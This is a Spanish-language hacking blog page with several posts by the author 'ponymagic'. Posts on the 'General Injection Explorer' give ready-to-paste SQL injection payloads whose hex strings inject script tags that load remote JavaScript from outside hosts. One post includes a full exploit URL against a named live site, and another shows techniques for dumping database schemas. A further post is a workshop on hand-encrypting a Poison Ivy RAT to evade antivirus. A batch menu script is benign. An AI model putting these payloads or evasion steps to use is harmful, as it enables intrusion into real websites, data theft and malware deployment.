Blogroll: 7

[x] Agregar a ponymagic

oceanik6 oceanik6
virtux virtux
pato pato
murder murder
zer0-z0org zer0-z0org
r0dr1 r0dr1
ricota ricota

Perfil de ponymagic

[x]Nick: ponymagic
Rango: Amateur
País: ar
Visitas: 26350
Votos: 73
En Blogrolls: 32
Status: PM

Patrocinadores:


Anuncia aquí

[x] GiE 4.7 - MySQLi

Publicado el 15/03/2010 12:03:00 en Hacking Web. Total de votos: 32  Votar

General Injection Explorer 4.7.

Créanme que para mi es de lo mas raro verlo terminado, no es la gran cosa, pero me llevo su tiempo mas que nada por “problemas logísticos”. Esta idea la tuve hace unos meses con un supuesto “duelo” con Murder, y desde entonces, le dedico algún tiempo a la semana a continuar con el proyecto que muchas veces parecía interminable. Se puede agregar mucho, siempre hay alguna buena idea dando vueltas por ahí, pero la verdad, ya no tengo ganas de seguir con lo mismo. Voy a abandonar este proyecto, lo dejo acá 4.7 Talvez fixee algo que encuentren ustedes, pero no mas que eso.

No voy a gastarme en escribir, (no porque tenga algo mejor que hacer), una descripción de que es la GiE, las nuevas características, etc, etc. Simplemente voy a poner algunos screens, links con ejemplos, el código de fuente y el código para insertarlo en cualquier SQLi.

[*] Screens:


explorador de bases de datos.



lector de archivos, con Bruteforce.



consola de peticiones, en la imagen un ejemplo
de una query que busca mails en la base de datos.



variables del servidor




Historial de Inyecciones, para el que quiera
saber un poco mas sobre el funcionamiento de la GIE


[*] Ejemplos:





[*] Insertarlo en una SQli:

id=-1 and union select 1,(GIE),3,4--

[color=green](0x3c736372697074207372633d22687474703a2f2f73696e64656c656e2e636c2f61646d696e2f... [/trombi]

Continúa aquí...


Comentarios: 39 | Leer comentarios

[x] Taller: Encriptando Malware a Mano [Hacker_Zero]

Publicado el 31/01/2010 12:01:00 en Criptografía. Total de votos: 7  Votar

Taller: Encriptando Malware a Mano




Objetivos de éste taller


Debido a la avalancha de crypters que últiamente salen a la luz y que, en mi opinión, el 90% de ellos (principalmente en VB) se hacen utilizando código de terceros sin entender realmente que es lo que programan, decidí hacer éste taller para mostrar el modo de funcionamiento de un crypter, de modo que cualquier persona con interés sea capaz a entenderlo. Al finalizar el talller seremos capaces de entender que es lo que hacen los crypters para burlar a los antivirus, y seremos capaces de hacer éste proceso de forma manual, así como, de tener conocimientos de programación y a partir de éste taller, tendremos los conocimientos necesarios para programar un crypter sabiendo que queremos conseguir realmente.



Herramientas Necesarias

[*] Olly Debug Descargar
[*] Un Editor Hexadecimal Descargar HxD
[*] Un Editor del PE Descargar LordPE
[*] Poison Ivy v2.1.4 Private Descargar



Conocimientos recomendados

[*] Nociones básicas sobre ASM. Taller ASM por E0N
[*] Conocimientos sobre el Formato PE. Taller Formato PE por Ferchu
[*] Familiarización con el uso de Olly y las otras herramientas.



¿Qué vamos a encriptar?


Bueno, lo primero que haremos será abrir el server del PI con un el Editor Hexadecimal y el Editor del PE:



Vemos que el ejecutable tiene 2 secciones, la .text y la .data. En éste caso vamos a encriptar solamente la sección .text que es la que contiene el código ejecutable. La .data la vamos a dejar tal y como está, porque si nos vamos al editor hexadecimal y nos vamos a 0x1A00 y miramos lo que hay más abajo, vemos que ahí se encuentra la IAT, y encriptar eso nos complicaría bastante las cosas, tal vez para otra entrega, en ésta vamos a dejar esa sección tal y como está :P:



Entonces, lo que vamos a encriptar es lo que va desde 0x200 a 0x1A00 viendolo con el editor hexadecimal.

¿Cómo lo vamos a encriptar?


Lo haremos de una forma sencilla. Encriptaremos el archivo... [/trombi]

Continúa aquí...


Comentarios: 8 | Leer comentarios

[x] General Injection Explorer 3 - By PonyMagic

Publicado el 12/12/2009 12:12:00 en Hacking Web. Total de votos: 11  Votar

General Injection Explorer 3.0
by PonyMagic


[?] Que es?
Basicamente es un explorador de bases de datos MySQL via SQLi, "incrustado" en la inyeccion.

[!] Que tiene la version 3.0?
[+] Codeado desde 0.
[+] Bypasseo de "illegal operation", y limite de group_concat_max_len.
[+] Mejor manejo de CSS && DIVS.
[+] Peticiones realizadas con AJAX.
[+] Nueva forma de ver tablas, MUCHO mas ordenadas.

[?] Como se usa?
En una SQLi, unis otro select y marcas las columnas ( id=-1 union select 1,2,3,4,5 )
En un valor que printee (que se muestre en la web), simplemente copias y pegas el codigo de la GIE.

(0x3c736372697074207372633d22687474703a2f2f7669727475782e636f6d2e61722f4749452f5f2e6a732220747970653d22746578742f6a617661736372697074223e3c2f7363726970743e)


Ejemplo:
adegasgalegas.es SQLi
adegasgalegas.es GIE SQLi






Injeccion con General Injection Explorer 3.0


Luego, se navegan las bases de datos, usando ese "cuadradito" como un mini-phpmyadmin :P como se ve en el siguiente [.gif]:


[+] Gracias a virtux por hostear, acá tienen el código y el link:

Link JS





Comentarios: 17 | Leer comentarios

[x] MenuCreator - Batch - By PonyMagic

Publicado el 24/11/2009 12:11:00 en Programación General. Total de votos: 3  Votar



Ahora Pueden crear un menu de items seleccionables con el teclado al mejor estilo textas (?



Parametros:

Call:Menu
|_1_ Items separados por Puntos ( ejemplo.de.items. )
|_2_ Espacio entre borde Isq y menu ( " " )
|_3_ Icono de NO seleccionado ( "[-]" )
|_4_ Icono de SI seleccionado ( "[+]" )
|_5_ Variable que contenga una cabezera para el menu, sin %% (Cabezera)
|_6_ Variable donde se almacenara el item seleccionado

Call:Menu "ejemplo.de.items" " " "[-]" "[+]" Cabezera Resultado


Ejemplos:

:MenuCreator
SetLocal EnableDelayedExpansion
If NOT exist "keyboard.exe" (Call:..kybrd Echo)
Set ..p6=%6
Set ..c=0
set ..p1=%~1
set ..p1=%..p1:.=,%
For  %%_ in (%..p1%) Do (Set /A ..c+=1&Set ..itm!..c!=%%_)
Set ..s=1
:..MnGn
CLS&Echo.&!%5!&Echo.
For /L %%_ in (1,1,!..c!) Do (
	If ["%%_"]==["!..s!"] (Echo%~2%~4 !..itm%%_!) Else (Echo%~2%~3 !..itm%%_!)
)
keyboard
If ["%ErrorLevel%"]==["72"] (IF not ["!..s!"]==["1"] (Set /A ..s-=1))
If ["%ErrorLevel%"]==["80"] (IF not ["!..s!"]==["!..c!"] (Set /A ..s+=1))
If ["%ErrorLevel%"]==["13"] (Set %..p6%=!..itm%..s%!&CLS&GOTO:EOF)
GoTo:..MnGn
:..kybrd
(%1 n keyboard.dat
%1 e 0000 4D 5A 2E 00 01 00 00 00 02 00 00 10 FF FF F0 FF
%1 e 0010 FE FF 00 00 00 01 F0 FF 1C 00 00 00 00 00 00 00
%1 e 0020 B4 08 CD 21 3C 00 75 02 CD 21 B4 4C CD 21
%1 rcx&%1 002E&%1 w0&%1 q&%1.)>keyboard.dat
type keyboard.dat|debug>NUL 2>&1
del /f/q/a "keyboard.exe">NUL 2>&1
rename "keyboard.dat" "keyboard.exe"
GoTo:EOF



Set Cabezera=Echo                            \_/\ [ MenuByPony ] /\_/
Call:Menu "Menu.By.Pony.Magic" "                            " "[-]" " [+]" Cabezera resultado
Echo.
Echo %resultado%
Pause



Set Cabezera=Echo                     -:01010011.. P0NYM4GIK ..11001010:-
Call:Menu "Menu.By.Pony.Magic" "                         " "o" " o" Cabezera resultado
Echo.
Echo %resultado%
Pause


Comentarios: 5 | Leer comentarios

[x] GiE 2.0 & MegaConcateo(?). - Actualizaciones (?

Publicado el 14/11/2009 12:11:00 en Hacking Web. Total de votos: 7  Votar



[+] Tengo la extraña sensacion de que mi cerebro esta esperando a que postee alguna idea para que luego se me ocurra mejorar algo. Asi que acá les van 2 "actualizaciones" de mis anteriores 2 posteos. bastante "mejorados".

1ro) la GiE o General Injection Explorer :

+ Coodee desde 0 otra version tambien en JS.
+ Gracias a virtux por hostear :P

Acá 2 screens para que vean la diferencia:


GiE 1.0 Posteada anteriormente




GiE 2.0 2da version de la GiE


Dejo directamente la Inject, el que no entienda como se usa, que vea el

(Select/**/concat(0x3C70207374796C653D27646973706C61793A6E6F6E65273E4769453A,group_concat(DISTINCT/**/cast(table_schema/**/as/**/char)),0x7C7C,0x7C7C,0x7C7C,0x7c7c3c2f703e3c73637269707420747970653d22746578742f6a61766173637269707422207372633d22687474703a2f2f7777772e7669727475782e636f6d2e61722f4749452e6a73223e3c2f7363726970743e)/**/from/**/information_schema.tables)


Y acá la web del ejemplo con la GiE2

http://www.fcu.com.uy/popup_indice.php?id=7%20and%201=2%20union%20select%201,%28Select/**/concat%280x3C70207374796C653D27646973706C61793A6E6F6E65273E4769453A,group_concat%28DISTINCT/**/cast%28table_schema/**/as/**/char%29%29,0x7C7C,0x7C7C,0x7C7C,0x7c7c3c2f703e3c73637269707420747970653d22746578742f6a61766173637269707422207372633d22687474703a2f2f7777772e7669727475782e636f6d2e61722f4749452e6a73223e3c2f7363726970743e%29/**/from/**/information_schema.tables%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54--




2do) Olvidate de limit en tus SQLi: :

+ Bueno en esta tambien hise bastante. ahora uso variables en vez de repetir la inject en el instr() y tambien ago una inject mas general que es "inteligente". ve cuanto ocupo el concat anterior y ve si tiene que seguir o no, es una estupides... una linda estupides XD
.Miren el codigo, ahora esta mas limpio y se entiende vastante si lo separamos en renglones :)

Replace(concat(

@1:=(Select/**/group_concat(distinct/**/cast(table_name/**/as/**/char))/**/from/**/information_schema.tables),

IF(length(@1)=1024,
	@2:=(Select/**/group_concat(distinct/**/cast(table_name/**/as/**/char))/**/from/**/information_schema.tables/**/where/**/instr(@1,table_name)=0),
	(select 0x20)
),

IF(length(@2)=1024,
... [/url]
[/trombi]

Continúa aquí...


Comentarios: 12 | Leer comentarios